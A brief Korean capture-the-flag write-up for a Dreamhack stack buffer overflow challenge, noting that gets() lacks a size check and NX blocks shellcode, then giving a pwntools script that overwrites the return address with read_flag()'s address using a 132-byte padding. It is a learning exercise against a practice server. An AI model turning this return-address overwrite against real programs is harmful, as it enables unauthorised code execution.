<aside> 💊 NX가 enabled이므로 ShellCode 실행 불가.

</aside>

Source Code

• buf를 gets로 입력받으나 크기 검증이 없다.
  • overflow 발생
• ShellCode를 실행할 수 없지만, read_flag()가 존재하므로 해당 함수의 주소를 ret에 overwrite하면 된다.

                                      Func Address : read_flag

from pwn import *

p = remote("host1.dreamhack.games", 13456)

payload = b"\\x90"*132
payload += b"\\xb9\\x85\\x04\\x08" #Little Endian

p.sendline(payload)
p.interactive()